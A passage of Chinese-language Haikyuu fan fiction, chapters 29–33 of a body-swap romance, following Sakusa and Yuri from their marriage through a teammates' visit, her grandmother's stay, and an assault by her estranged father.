“这不还是同样的意思吗?怪不得古森君总是说臣臣太消极了。” 佐久早皱了皱眉:“我在向你求婚你还想着别人?” 由里猛点头:“对对,哪怕用这种语气也比之前好。” 佐久早获得了她毫无来由的赞许,只觉得莫名其妙,但在人生大事面前还是选择了配合:“和我结婚,只想着我吧。” 由里自然是开心地接受:“好,但是其实我刚才已经求婚过了,臣臣只要同意就行了。” 佐久早白了她一眼,把戒指盒关上了。 由里立刻开始挽留:“臣臣不要生气啊我还想让你给我戴戒指呢!” 佐久早没理她,但是接过了她的手。 他轻轻托住由里的掌心,取出戒指在她指尖比了一下,抬眼问她:“你确定?” 由里也注视着他:“当然了,臣臣可是我的初恋。” 佐久早笑了一下:“你不是说便利店东京人不是你的初恋吗?” “为什麽要给自己起代号啊臣臣!”想起为了一点“小事”一见钟情的对象被证实是眼前人的事情,由里不免又有点不好意思,“首先……他不就是你吗?其次我的初恋就算不是他也是你啊。” 佐久早嘴角的笑意又浓了几分,调整了姿势把她的手握得更紧了些:“我也是,一直以来都只有你。” 没想到表白这件事让他们两个花了这麽长时间,象征着爱和承诺的戒指倒是轻轻一推就十分顺滑地戴到由里的无名指上了。 “臣臣的眼光真好,”由里十分宝贝地打量着这枚戒指,“而且为什麽尺寸会这麽合适?” “因为互换身体的时候量过指围了。”佐久早说,他看起来为他完善的考虑感到很得意。 “居然是这样?臣臣你是什麽时候买的这个啊?” 他回想了一下:“和你见过河村女士之后?” 她不由得又瞠目结舌了一回:“未雨绸缪到这种程度不会影响生活吗?” 佐久早并不搭腔:“这也不是结婚的时候该说的话。” 由里因为他引用了自己的话忍不住笑了,她没有反驳,只是安静地消化了一会自己和佐久早已经是互相被戒指圈住的关系,这才对他说:“说* 真的,臣臣,谢谢你。” 好像她提出结婚最早的原因是为了解决佐久早的燃眉之急来着,现在反而是她在道谢。 佐久早问她:“谢什麽?” 她说:“谢谢你一直考虑着我的事情。” 他摇摇头:“喜欢不就是会一直忍不住想对方的事情吗?反倒是我,这样突然地表白和求婚,感觉没能为你做多少事。” “才不是这样,臣臣为我做的事情太多啦,”由里说,“不过我确实有一件事情,一直想请求你帮我实现来着。” “是什麽?”佐久早问。 “我们先去办结婚手续,然后把臣臣眼下的事情解决好,回到家如果还有时间的话再说!” 佐久早去的时候把车停在列车站了,回到大阪他们立刻驱车回家整理需要用到的证件,幸好今天回大阪的时间不算晚,正好可以赶上市役所下午的营业时间。 佐久早填着填着突然顿笔问由里:“证婚人写惠子和你的奶奶可以吗?” “好呀。”由里也拿起笔,在证婚人的名字那一栏写下“远藤伊和”这个名字,“是个很美的名字吧?” “嗯。”佐久早点点头,又想到她老人家的要求,“只是这样突然地结了婚,她恐怕又该生我的气了。” 由里不知道他们之间发生过什麽样的对话,只是在继续填写信息的时候顺口说:“臣臣这麽好,她不会生气啦。” 佐久早圣臣选手的结婚证书一时红遍了全网。 俱乐部澄清了和他见面的人是他的妻子,不是所谓被他搭讪的工作人员或者志愿者,并且表明了会起诉侵犯选手名誉的博主。 【震惊,臣君竟然英年早婚了!】 【佐久早选手只是在和妻子见面啊,到底是什麽人拍到张照片就开始捕风捉影,说是V联盟工作人员连一张工作证都没有。】 【我认得出来图片上那个人,佐久早选手和妻子一起在我们餐厅吃过饭呢,还给我们店签名了(图片)。】 【不说别的,佐久早选手一直状态很好,怎麽看也不像是把心思放在其他事情上的人啊。我一开始就不相信造谣他的人。】 俱乐部的紧急公关可以告一段落了,大家松了口气。 但消息一出,佐久早的电话顿时被古森和真希打爆了。 由里正在笑着看他手忙脚乱,小雪的电话就也打了过来。 “小雪,你现在没在上班吗?” 小雪完全无视了她的提问,只是在电话那头激动地大喊:“恭喜你和佐久早选手结婚了!” 接着小雪才补充信息让她安心:“放心吧我特意找了没人的地方打电话给你的,没人会听见!不过我这边有没有人听见好像也影响不大了,刚才路过茶水间还听见有人在说佐久早选手结婚的事情呢。” “你们怎麽会这麽突然就公布婚讯了啊?也没有告诉我一声。”小雪可怜兮兮地说。 由里终于找到了能开口的时机,这才插话进来——这一切如果要追溯到跨国旅行的飞机上从古森那里得知佐久早有意向自己表白的话,讲起来实在太复杂了,她最后用最有力的话概述了这一切:“因为今天出现了适合表白的时机,我就抓住了这个机会。” 小雪很为她开心:“这简直是爱情电影拍摄现场,有空细说!” 结束了这一切已经是该吃晚饭的时间了。两个人都很累,于是由里点了外卖送到家里。 佐久早觉得外面的东西全都不如家里干净,所以没怎麽吃过外卖,只是让由里替他点了一份和她一样的。 相对坐在餐桌上,由里突然想到了不久之前他们刚刚认识的时候。 那时候佐久早号称是为了自己互换身体时的体验能更好,给她也做了他自己会吃的早餐,他们也是这样在餐桌上相对而坐,只不过那时候是一言不发地吃饭。 后来他们变成了可以在餐桌上交流自己今天行程安排的关系,再后来会说的东西更多,从过去到未来想到什麽都有可能会说,直到现在对彼此的存在习以为常,可以安心说任何话题,而就算不说什麽,也不会觉得尴尬。 “所以你想要我帮你做的事情是什麽?”佐久早问,“如果是复杂的事情今天恐怕没有时间做了。” “不复杂不复杂,臣臣只要在那里就好。”由里说。 十分钟后。 “臣臣,你冷吗?”由里关切地问。 “我不冷。”佐久早赤裸着上身,一动不动地躺在沙发上,像一条靠在礁石上的美人鱼,“只要这样你就会开心了?你需要我为你做的事就是什麽都不做?” 由里支起画板,十分认真地说:“臣臣这不是什麽都不做,这是做了所有热爱绘画的人都最为感谢的一件事情。” 即便是她还在大学,可以每周末去学校的画室写生的时候,她也没有画过像佐久早这样完美的模特。 之前他们的关系不足以让她有足够的勇气提出这样的要求,但是已婚夫妻之间坦诚相见就没什麽大不了的了吧! 话是这麽说,她还是太低估她新婚丈夫的杀伤力了。 作为一位专业的漫画画师,她毫无疑问是可以专注在写生上的,除非佐久早漂亮的眼睛不加掩饰地看着正在看着他身体的她自己。 由里小声提议:“臣臣你可以不用一直不动,这样多累呀,你也可以活动一下或者看看其他的地方。” 她的模特淡淡地说:“我喜欢看着你。” 由里的手一抖,铅笔在画板上磕了一下,笔芯断了。 佐久早笑了起来。 由里开始重新削笔,佐久早翻了个身平躺在沙发上等她。但这时候门铃响了。 “可能是元也,他说他想找我问问具体怎麽回事。” “臣臣你要这样去吗?”由里有点不好意思,“连T恤都不用穿?” “只是元也而已,一起打了那麽多年球,他又不是第一次见我这样了。”佐久早说,“我给他解释一下就让他走,你不是还要继续画吗?” 佐久早拉开门,看到了门外的古森元也,和目瞪口呆的木兔、日向、宫侑。 佐久早的眉毛跳了跳:“元也,我有说过你可以请我们全队都来吗?” 古森露出了“我也没想到会是这样啊”的表情:“今天出了这样的事……大家都……挺关心你的……” 不由分说地,古森把佐久早拉到一边小声说:“圣臣,有件事情我必须得提醒你,远藤小姐不是运动员,只是普通人,你们的体能是有很大差异的。” “那又怎麽样?”体能有差异就不能结婚了吗?佐久早完全没有理解他的意思。 古森简直为自己那个我行我素的表弟操碎了心:“这才几点你就开始……人家哪里承受得了啊,你要多为远藤小姐考虑一点知道吗?” 第30章 臣臣的队伍真是热闹啊。 “是她让我陪她做的啊。”佐久早只觉得古森又在多管闲事,“现在不做什麽时候做?再晚一点我们都该睡觉了。” 古森大惊失色:“你不要说这麽大声!这是人家的隐私,你能不能尊重一点人家啊?” 话说到这份上佐久早终于懂了——古森完全误解了他们的行为。佐久早说:“不是你想的那样,我只是在陪她画画,我看她挺高兴的。” 古森愣了愣:“画画?” “对啊。”他答。 “远藤小姐你可真是个天才,你能给我也画一张吗?”木兔捧着她的画作激动地说,接着他问左右两边的人,“侑侑翔阳你们踩我的脚干什麽?” 他们两个回复的声音像他们的动作一样同步。 “木兔前辈你看看臣前辈的表情。”日向说。 “阿木你想被臣君当作病毒消杀吗?”宫侑说。 由里轻轻拍了拍正在对没有进行手部消毒就窜进他家里的队友怒目而视的佐久早:“大家来都来了就一起聊聊天吧,我们认识这麽久都没见臣臣和大家聚会过呢,正好有这样的机会不是很好吗?” 佐久早冷哼了一声:“我不参加聚会并不是因为没有机会。” 但是他还是默许了他们的行为,穿上衣服之后去厨房给他们拿了几个杯子。 “臣臣真是口是心非啊。”由里看着他的背影说。 “远藤小姐你这样快地了解了圣臣的本质还愿意跟他在一起我真是太感动了。”古森说。 由里看得出来他这回只是在打趣,他现在已经习惯了由里的存在,终于不像第一次见到“圣臣的女朋友”的时候那样轻而易举地热泪盈眶了。 最后大家围坐在了佐久早的客厅里。 古森率先发出提问:“家里对这件事反应很大吧?” “哪件事?”佐久早问,“造谣还是结婚?造谣的事情他们就公事公办地处理了一下,至于结婚……他们本来就不指望我会查找伴侣,听到这样的消息应该说是松了一口气?” 古森大概也知道他舅母和舅舅对佐久早的交际状态抱着非常低的预期,只是点点头笑了一下:“毕竟圣臣是家里年纪最小的孩子,也是最后结婚的孩子嘛。” “但是臣前辈是我们中第一个结婚的人!”日向非常激动地分享了自己的观察。 木兔后知后觉地接收到了这条信息,感到很惊讶:“还真的是,之前完全没有想到会是这样!” 宫侑附和道:“是啊,毕竟臣君是那种不看外表不看工作也不看家庭条件,只关心一个人身上有多少细菌的人。” 佐久早正在给他们的杯子里倒茉莉花茶,因为现在太晚了喝绿茶容易让人睡不好觉,而喝酒对于几个明天还要早起训练的人不太友好。他白了宫侑一眼:“我才不是你说的那样,我根本就没有在看着任何人。” 宫侑把他的话翻译成另一个版本:“明天的热搜标题不如就叫这个吧——‘佐久早选手目中无人’。” “我真的很难想象你们两个共同构成了V联盟冠军种子队的一部分。”古森叹了口气。 由里转向日向和木兔,小声发问:“他们两个真的没有打起来过吗?” 日向爽快地提供了一手信息:“有一次差点就打起来了,因为侑侑把自己的饮料洒在了臣前辈的衣服上。” 宫侑不乐意听这些,立刻为自己辩解:“那是阿木的饮料!我都说了我只是帮他拿一下而已!翔阳君你这样也很不厚道吧,弄洒的时候我不是在跟你讨论新战术吗?” 木兔没想到自己也被卷入纷争,立刻为自己辩解:“可是那也是在侑侑手里弄洒的啊!” 日向也可怜兮兮道:“那只是因为我没注意到侑前辈的饮料瓶里不是空的!” 战场瞬息万变,冲突莫名其妙地转移到了宫侑、木兔和日向之间,他们像小学生吵架一样你一言我一语地争辩起来。 由里像在电影院看电影那样边看边喝了一口手里的茶。 原来这就是万里挑一的国家队优秀选手日常相处的画面啊。 “后来这件事查出什麽了吗?”古森见缝插针地问佐久早,“在这个时间点攻击你的人应该不只是为了曝光桃色新闻吸引注意那麽简单吧?” 佐久早摇摇头:“经理说这件事统一由俱乐部出面解决,目前还没告诉我对方那边到底是什麽情况。” 这是大家今天都最关心的问题,所以正在热火朝天地讨论洒饮料事件到底是谁的错的三个人也暂时休战了。 宫侑其实已经在手机消息里对这件事发表过自己的看法了,但他是那种觉得当面说效果更佳所以一定要再重申一次自己的重要贡献的人。 他煞有介事地说:“臣君,其实今天有人骂你我本来想帮你骂回去的,但是给经理看了我写的话之后,他说有损俱乐部形象,所以没有同意我发。” 佐久早喝了口茶:“幸好你给他看了,不然国家队就要一次除名两个人了。” 宫侑显然没有得到自己想要的回答:“臣君你怎麽一点都不感谢我,这可是患难见真情的时刻啊,还有比我们更关心你的队友吗?” 佐久早不以为意:“非要这麽说的话,高中的时候元也和饭纲前辈也很关心我啊。” “好感动,圣臣居然知道我关心他,”古森小声对由里说,“虽然这只是他为了膈应阿侑说的。” 由里轻轻扯了扯佐久早的袖子:“在难得的求婚日就多说一点真心话吧。” 佐久早看了看她,无奈地叹了口气:“谢谢。” 宫侑愣了一下,立刻转向他身边的两个队友:“你们听到了吗?那个佐久早圣臣居然会说谢谢?结婚的威力真的好大啊。” 日向只是在分享回忆但是却让宫侑有一种被拆台的感觉:“其实臣前辈有跟我说过来着,以前帮他递了一次水杯。” 木兔说:“臣臣也跟我说过,因为我和他一起练接球了……” 宫侑一瞬间感觉自己被世界背叛了:“所以臣君唯独没跟我说过?” “此前你也没做过什麽值得感谢的事情啊。”佐久早说。 “我每次给你传出那麽完美的传球你都没有任何感激之心吗?”这下宫侑好像真的要和佐久早打起来了。 古森赶紧站起来拉架:“好了好了太晚了我们该走了!本来今天来就打扰到远藤小姐作画了!” “不会不会!”由里也跟着站起来。 古森和木兔一边一个把他们两个拉开,一个人说“圣臣你不应该这麽不坦诚赶快道歉吧”,一个人说“臣臣刚才不是已经和你道谢了吗别生气了”,这场闹剧最终以佐久早家隔音效果颇为突出的门把两人隔开告终。 和大家道别后关上门,由里感慨道:“臣臣的队伍真是热闹啊。” 佐久早可能是想起了由里所说的求婚日的事情,有点抱歉地看了看她:“我不是故意要这样的,我都和他说‘谢谢’了。” 由里点了点头:“臣臣非常有进步。” 佐久早的表情就舒缓下来。 但由里接着说:“要是不说后面的话就更好了。” 他又有点不服气地撇了撇嘴。 “臣臣和大家在一起的时候就像小孩子一样。”由里笑着伸手柄他下垂的嘴角轻轻挑起来一点,但手指碰到他脸的时候她突然停了一下。 佐久早意识到她停顿的原因是什麽,垂首把她想要收回的手捉住按回了自己脸上:“这是说我幼稚的意思吗?你才刚和我在一起就反悔了?” “才没有!”由里赶紧摇头,捧着他的脸让他和自己贴得更近些,“只是觉得臣臣更可爱了,哪有人和臣臣在一起还会反悔啊?” 佐久早满意了,凑得更近亲了亲她的脸颊,这才去收拾刚才大家用过的杯子和茶具。 晚上睡觉的时候,由里突然意识到他们两个目前还分居在同一间公寓里两个不同的房间,也就是说他们作为新婚夫妇很快就要在自己家里挥手告别对方了。 她于是提议道:“臣臣要不要搬回来住?” 佐久早没有说可以也没有说不可以:“我们结婚结得这麽突然,如果你需要适应一下的话……” 但由里已经渐渐掌握了和臣臣的沟通方式:“那就是说你愿意?我当然也没问题呀,其实我们之前也很多次都睡在一起了,就连昨天都是。” 躺在床上熄了灯,由里突然想起了昨天晚上的突发情况。 她问:“早上太着急我都忘记问臣臣了,昨天睡得还好吗?后来还有没有被不明生物惊醒?” 佐久早翻过身来面朝着她:“没有,因为有你在所以睡得很好。” 听到意料之外的情话,由里在黑暗中笑得眼睛弯弯:“原来臣臣结婚之后是这样温柔的类型啊。” 他几乎是下意识地给出了和以往一样的回答:“我没……” “嘘,”由里制止了他的口是心非,“连表白都做到了就不要再在这种小事上说反话了吧。” 佐久早只好截停了刚才的话:“好吧,我只是觉得这样对待恋人是理所应当的。” 由里继续毫不掩饰地赞美道:“会这样想就是很温柔。” 佐久早躺得离她近了些:“那有什麽奖励吗?” 由里也调整姿势,和他靠近了一些,她用温热的掌心轻轻覆上佐久早的侧脸,在他额头上印上一个吻:“臣臣晚安。” 佐久早在她躺回去的时候同她牵住了手:“晚安。”【你现在阅读的是 】 30-40 第31章 都是在我最需要的时候帮助了我的人。 从神社回来之后,由里真的展开了她对互换身体相关轶闻的深入探索。但是都市传说毕竟是都市传说,往往是描述了互换的过程但没有描述结束互换的方法。 在大部分故事里,互换就只是突然开始又突然结束,就好像不怎麽严重的一场感冒,可能患者还没有来得及针对病情服药,感冒就康复了。她很希望自己和佐久早也是这样,但是不到真正恢复正常的那一天谁也不会知道这一切什麽时候才能结束,她总不能就这样坐以待毙吧? 有那种跨越时空需要解决对方在另一个时空里的问题的灵魂互换故事,她反复核对了几遍自己和佐久早的年龄以及现在的时间,确定他们就是处在同一个时空里的人——幸好是这样,要是解决了问题她就得回到自己的时空里等待多年后再次遇到佐久早,那她真的会很舍不得他的。 有那种对神明许愿要求互换身体,感动了神明所以成功的故事,最后主角们是感受到了自己原身的珍贵,对神明许愿要求换回来的。这个和他们的处境好像有点相似,都和许愿有关。但是他们的愿望从来都不是换一种性别来生活,更没有见过神明,所以也没有什麽参考价值。 由里甚至真的有样学样画了一个网上的人推荐的许愿魔法阵,但最后发现那只是漫画里的一个图像设计而已。 居然有她没有涉猎过的当红漫画!由里感慨自己最近对漫画研究投入的时间好像是比以前少了,看来人有了自己的事业和爱情确实是会占据掉一些时间。 由里对互换身体的研究以失败告终。 佐久早对此并不觉得意外——他们这种现象本来就不是一般人会遇到的,假如有人真的遇到,也不会大张旗鼓地在互联网上发布,毕竟没有人会相信。 不过他们总归是在一起了,交换比以前更方便也更不让人尴尬了,似乎也没那麽让人难以忍受,所以随着两个人都重回生活正轨,他们都暂时搁置了这个问题。 由里把自己新婚的事情告诉了奶奶,没想到本来准备新年才过来和她见面的奶奶立刻就动身前往大阪来见她了。 由里之前和小雪合租,房子里的地方很小,没有空间加床。由里大学毕业的时候,奶奶来看过她一次,她是专门给奶奶在宾馆订了房间的。 但是此时此刻家里有空房间,似乎可以不再这样做了。 想起佐久早曾经四年不允许自己亲妈亲爸进入他的私人空间,由里决定还是向佐久早确认一下这件事。 佐久早午休的时候回复了她。 【臣臣:我的家人都住过我们家了,奶奶来了当然也是住在我们家。】 【臣臣:我是说如果她不介意的话。】 【臣臣:她什麽时候到?我们一起去接她吧。】 他说了“我们家”哎。 由里反复地品味了半天这几个字,把它们截图保存在了相册里。 第二天他们在车站等到了由里的奶奶。 奶奶一见面就对佐久早说了声“你这小子”,佐久早以为大事不妙,正准备郑重地鞠躬道歉,但她只是继续说:“还真是说到做到。” 佐久早稍微松了口气,接过她的行李一边往车上拖一边说:“您不怪我未经您的允许就……” “这孩子自己会拿主意,”奶奶摆摆手打断了他,“再说了,她小的时候我因为和我那个倒霉儿子关系太烂,没怎麽关心过她,差点害了她。现在她都这麽大了,我倒来干涉她选择自己的家人,那叫什麽事啊?” 由里跟在佐久早身后打圆场,顺便伸手想接过奶奶的手提袋:“奶奶只是那麽一说,她要是真的觉得你不好的话不会放任不管的。” 奶奶不给她,把袋子换了一边手提着:“我可是认真的,你都这麽大了,总不能什麽事都让我给你拿主意吧?” 由里笑了起来:“你们两位还真是挺像的。” 此话一出两个人都从不同的角度扭头看她。奶奶问:“我跟他一个小夥子有什麽像的啊?” 由里答:“都是那种又关心别人又假装没在关心的样子。” 佐久早无言地扭过头去了,他此时此刻大概有点不服,但是因为奶奶在就什麽都没说。 奶奶就没什麽可顾虑的了:“你这孩子,我哪里是假装不关心你啊?我真正关心你的时候少吗?” 由里笑着和佐久早一起把她的东西都装进后备箱。 她补充道:“也都是在我最需要的时候帮助了我的人。” 这两个人相遇果然属于是口是心非界的小王见大王,一听到由里这句话,都得意地沉默了。 “你们别无视我啊。”由里瘪了瘪嘴。 佐久早站在副驾的车门旁边给她拉开了车门。 由里小声说:“在我奶奶面前就不用演了,她不在乎这些礼节性的行为的。” 佐久早俯下身,也压低了声音:“我没有想演,但是你不是让我别无视你吗?” 话题不涉及佐久早的“坏话”,由里的音量也回归了正常水平:“那你回应一下我的话就好了,不用这麽夸张。” “我就是来回应你的话的。”佐久早摘下口罩,飞快地在她耳朵上啄了一口。 由里现在也只能幸福地沉默了。 佐久早选手其实还挺会谈恋爱的。 而佐久早其实没有他看起来那麽淡定,因为他起身的时候发现奶奶也在盯着他的一举一动呢。 虽然她对佐久早很满意,但是再好的人也配不上自己真心关爱的人。佐久早也明白这个道理。 比起忧虑或者不快,他更多的是感到开心,因为由里在那样的时间里还有一个爱护她的奶奶一直支持着她。 什麽时候把万事都做到尽善尽美的佐久早也能顺理成章地接受别人的“质疑”了? 他好像真的产生了某些微妙的变化。 不过这种感觉并不讨厌,他回到自己的座位上,发动了他的轿车。 来到佐久早倾情打扫过的房间,一向严于律孙女婿的奶奶难得地发出了不少赞叹:“你在清洁方面真是有一套啊,听说你在这里住了几年了?这些家具看起来简直像新的一样。” 那些家具还真是新的。 还是佐久早为了骗由里留下专门换的。 但是由里见过替换之前的家具是什麽样,确实也光洁如新,所以她只是含笑地和佐久早对视了一眼,并没有揭穿他。 “而且这些收纳也安排得很有条理,你这方面真是比我孙女厉害多了啊。” 怎麽夸臣臣还要损我啊!由里暗自腹诽着,收回了笑意盈盈的目光,转而跑到奶奶面前:“奶奶你怎麽不怀疑是我做的家务?” 奶奶眯了眯眼:“你打扫房间是什麽水平我心里还是有数的。” 晚上佐久早也决定亲自下厨,回馈那顿奶奶请他吃的她做的饭。 奶奶跟他进了厨房,看着他仔细地处理食材:“家里平时也是你做饭?” 佐久早回答:“是的,因为我对厨房用品的卫生要求比较高,一般也不太让别人碰这些厨具,并不是您来了为了特意表现才这麽做的。” “我看得出来你是经常做饭的。”奶奶点点头,“你做了这麽多,我倒是想问问你,为什麽偏偏是由里得到这一切呢?” 佐久早思索着他的答案:“她很尊重我的界线,也很包容我的表达方式——虽然最开始好像是因为她习惯了过度忍受别人,她很勇敢,很坚强,很擅长在逆境中改变。而且……我喜欢照顾她,她的反应让人感觉很好。” “这些事情其他人做不到吗?” “我不知道,”佐久早很坦诚地回答,“相似的人很多,或许也有其他这样的人吧,但是我现在并不会考虑其他人了。其实我们之间能够创建起缘分,好像没有什麽绝对的原因,我只能说我很感激,很感激那种牵引着我们遇到对方的力量。” 饭菜做好,由里便来端盘子。在属于他们的新家里,第一次招待最关爱她的奶奶。 奶奶不喜欢城市生活,而且她也放不下她的小院,所以一开始就没有打算长时间地停留在大阪。来这里转了一圈,知道了由里的生活环境,听他们两个描述了一些以后的打算,就打道回府了。 由里本来打算带她去玩一圈,但是她把由里赶回了书桌上:“我又不是老得走不动了,想玩也不需要你来陪我,你现在最重要的就是画你的画。” 于是最后她能做的只是再次送奶奶回去,并约定好自己得了空就会多去看她。 回了家,等待佐久早输密码开门的时候,由里看到门外的墙上有一个奇怪的印记:“臣臣,这里以前有这样的痕迹吗?” 佐久早看了看由里指向的位置,墙上似乎是被中性笔划了小小的一道印记:“我记得没有。” “好奇怪,这层楼现在除了我们只有古森君常住吧,我们应该都不会不小心划到墙面啊。” “可能是快递签收的时候不小心碰到了?”佐久早回想了一下,他们最近都没有订购什麽东西,就只有真希他们寄来成箱的新婚礼物的时候有人送货上门过,“最近真希他们寄东西的时候有出现过这个笔迹吗?” 由里摇摇头:“我都是在房门里边签收的,没注意到。” “确实有点奇怪,”佐久早打开门让她先进去,又看了看那处奇怪的标记,“回去之后我去订一个摄像头吧。” 第32章 我和你早就没关系了。 佐久早从俱乐部那里得知了造谣他的人的来路,对方真的就只是一个通过曝光体育明星丑闻赚封口费和流量费的狗仔。 虽然大家心里都尚存疑虑,但是对方坚称是他的个人行为。最终他们也没搜查到什麽有关的信息,这件事就只是处罚了他一个人。 真希提醒了他们最近要留意一些身边的状态,她会继续帮助他们关注这件事的。 由里和佐久早在那之后必须要在外面互换身体的时候也更加谨慎了一些,好在之后他们只要低调一些,回避狗仔就好,不需要再担心向自己人解释的时候会遇到麻烦了。 还有发现门前的奇怪笔迹之后,他们真的装上了一个摄像头,并且把这件事告诉了古森,他们两家现在都连接上了这个摄像头,可以观看其中的实时视频。 目前为止,并没有什麽奇怪的人出现在他们家门外。 他们的生活又回归到了以前的样子。 但是也和以前不太一样,最大的不同就是他们之间可能会出现的肢体接触范围比以前大得多了。 佐久早会在由里画画的间隙走过来捏捏她的肩膀——他的按摩技术超级好,由里以为是因为他会和队友互相按,但是据他所说他只是学习了一些按摩方法给自己按,队伍里有专门的康复训练师,不需要他在这方面做出什麽贡献。 由里不敢相信自己竟然是第一个体验的人。 作为回报由里偷偷在网上学习了很多按摩胳膊的视频,准备给训练回来的佐久早一个惊喜。 佐久早发现之后却说“你直接问我不就好了”,然后把自己交给她作为了由里首次按摩的练习对象。 两个人都在家里休息的时候,佐久早会在客厅里看排球录像或者其他的电视节目。为了增加一些共处时间,由里也会拿着自己的手机到客厅里看最近流行的条漫,看着看着她就会歪到佐久早的身上。 佐久早说歪着看手机对身体不好。由里灰溜溜地从他身上爬起来,然后被拉回他的腿上了。 由里像平躺在大自然的怀抱里一样平躺在佐久早的腿上,幸福地想着,之前只看过粉丝们赞美木兔选手的大腿,但是躺过之后才会知道佐久早选手的大腿也是人间一绝啊! 他们的物品也逐渐交错着摆放起来——洗手间的瓶瓶罐罐也好,冰箱里的各种食物和饮品也好,甚至就连衣柜里的衣服,一切都不再像之前那样泾渭分明。 有一次由里刚起床还没有睡醒,不小心穿错了衣服,把佐久早标注着“星期三”的全套服装里的短袖穿上了。 衣摆晃晃荡荡碰到她腿上,她这才反应过来这不是自己的衣服。 她想起佐久早曾因为惠子把他预备要穿的衣服扔进了垃圾桶和她大吵一架,不由得心里有些发毛,准备偷偷把衣服脱下来假装没动过的样子。 但佐久早这时候从卫生间出来了,他盯着由里看了一会儿,说:“这个颜色还挺适合你的。” 是吗?可这个颜色是黑色啊,佐久早几乎所有的衣服都是这个颜色。 佐久早用这种没话找话的方式告诉了她自己并不在意她穿自己的衣服。 由里还是解释了一下她是不小心穿错了,可以马上把衣服还给他。 他摇摇头:“你想穿也可以,反正我还有差不多的衣服。” 由里不禁有些恍惚——原来正式一起生活之后,他甚至可以接受到这个程度。 她干脆直接说出了心中的疑惑:“臣臣你不在意我就这样穿了你的衣服吗?我还以为以你的卫生习惯会有点介意呢。” “没关系,你很干净。”他说,“只要注重清洁,不把室内和室外的衣服混穿,把贴身的衣物洗过烘干消毒,把外穿的衣服多次及时清洗,不让灰尘进入室内,还有……” 佐久早喜欢用尽量完备的* 语言来描述他想描述的事情,倘若不打断他,他恐怕会把自己全部的保持干净策略都讲解出来。 由里赶紧表示了全然的理解:“好了臣臣!我知道我很干净了!” 至于曾经用来交换身体的吻,它理所应当地成为了早安吻——佐久早变得没那麽注意接吻之前是否刷牙的问题了,有时候看由里很困的话他就会直接在被窝里亲她,然后留她继续睡。 如果是佐久早自己打比赛很累的话,也会换回来就再次入眠。 不用起床洗漱也不用换房间,一切都飞快地在床上完成,两个人都变得放松多了。 这天早上互换过身体后,由里以身体柔软出名的丈夫就像没有骨头一样融化在她的身上了。 佐久早的身体很温暖,靠在她身上的时候就像一床被子,但是他显然比市面上最重的被子还重。 说真的,这很可爱,但是重量确实也有点让人难以长时间地承受。 由里轻轻摇晃着他:“最自律的运动员怎麽也会赖床啊?” 佐久早不理她,只是把脸埋在她颈窝里继续睡,被她吵得烦了,遂抬起头在她脖子上吮出一个红痕。 由里本来准备任由他亲,但是突然想起什麽似的,捧住他的脸躲闪了一下:“臣臣,我今天还得出门呢。” 佐久早终于肯抬起眼睛看着她了,但是是以令由里大为震撼的眼神——她第一次知道佐久早圣臣的脸上居然还能流露出称得上委屈的神情。 他黑曜石一般的双眼可怜地眨了眨,小声地对她说:“你是不是后悔让别人知道我们在一起了?” 有这样的美人在侧,自己却一味地劝他起床,还拒绝他的吻让他如此不安,由里此刻体验到了堪称愧疚的感觉:“没有,我就是觉得一个太少了,要不你再多亲几个,显得你特别爱我的样子,我好向大家炫耀一下。” 佐久早从她身上起来了。 但是他以一种不妙的方式笼罩在了她的上空。 顶级运动员即使经历过漫长的比赛的消耗,体力也仍然是普通人中顶级的水平。佐久早圣臣身体力行地证明了这一点。 看来人再心动也不能乱说话。 最后,由里在脖子上涂了两层粉底液并戴上了围巾出了门。 可是这也不能算是她的问题吧,哪有人能够拒绝一张无比俊美的脸凑到自己旁边问“真的可以吗”? 哦,对了,她现在知道佐久早所谓的另一颗痣在哪里了。 除了额头上和腹肌上的,还有一颗在他的大腿内侧。 怪不得那天他问她要不要自己去找找看呢。 由里这次去出版社是要和樱小路编辑商议她的新连载前几章的分镜修改方案。前几章是连载之后新读者认识她最直观的方式,她决定用百分之二百的精神来细细打磨,已经修改过很多遍了。 这次去出版社算是最后确定,只需要对已有的分镜稍作调整,她就可以深入刻画,完成精细草稿和线稿了。 不同于以往画的改编漫画,这一次是她自己最想要画的,完全属于她自己的故事即将推出。 由里感觉高兴又紧张,迫不及待地想看到自己的作品和市场产生真正的碰撞之后会发生什麽。 回来的路上,她的脚步都情不自禁地比平时走得更轻快了些。 佐久早下午才去训练呢,这时候应该还在家。她可以和他一起吃个午饭,然后给他分享这个好消息。 走到自家楼下,她看到了一个熟悉又陌生的身影。 对方是个男人,此时此刻背对着她,徘徊在楼门口,似乎是在找人。 但是她在这个小区里并没有熟识的邻居啊,怎麽会觉得对方看起来熟悉呢,也许是认错人了? 由里奇怪地打量了一会这个背影,最后还是准备像往常一样上楼。 可是当她路过那人的时候,她却完全怔住了,几乎感到一种想要立刻呕吐出来的冲击感。 好恶心,好恶心。 那是她这辈子最不想见到的人。 那人也看到了她,他先是嘲讽地笑了一下:“我说你怎麽能一个人在外面混那麽久,原来是傍上大款了。” 由里不回应他,收回目光往前走。他们每栋楼都是有楼管的,只要走到有人的地方就没事了。楼管会拦住他的。 男人还在继续说着令人厌恶的话,由里光是听到他的声音都觉得非常抵触:“一个人住这麽好的地方,你有没有把我们这个家放在眼里?” 看到由里不理睬他,男人走过来扯住她的手腕。 由里一把将他甩开:“别碰我!” 似乎没想到她敢用这麽大的力气反抗自己,男人在原地愣住了。 但震惊也好,反省也好,在这个人身上都只是那一瞬间的事。 他要是能这麽简单就知道自己的问题,他们这个家也不会有今天了。 很快他又追上来,用让人发疼的力气拽着她:“碰你怎麽了?在外面捞到钱了就不认我这个爸了是吧?” 由里拼命从他手上抽回手:“你不是我爸爸,我和你早就没关系了。” 第33章 很疼吧? 由里坐在警车上,一位女警用车上的医疗急救包给她止住了血。 警察问:“远藤小姐,现在感觉还好吗?” 她想点点头,但理论上她的头部这时候不应该剧烈晃动,于是她只是微微颔首:“还好,谢谢。” 警察表示了解:“可以描述一下案发过程吗?” 由里简单描述了一下刚才发生的事:“他扯着我的手要和我说话,我想回家,就甩开了他。他想把我拖走,我打了他的脸,然后他用酒瓶打了我的头。可能因为声音很大,楼管听到动静出来确认了情况,然后报警了。” “你刚才说他是你的父亲?” “是的,但是我们早就不联系了。” 警车停在了急诊科室的门口,警方留了由里的联系方式,告知她后续有进展会找她跟进。 由里等待叫号的时候看了一下手机。佐久早问她还回不回家吃饭,她还一直都没有回复。 下午一点,佐久早独自驱车赶到了医院。 由里刚从急诊室出来,本来打算自己回去,却看到熟悉的身影奔向自己而来。 她也知道现在的时间,刚才发消息时就说过不用他过来了:“臣臣怎麽还是来了?不是有训练吗?” 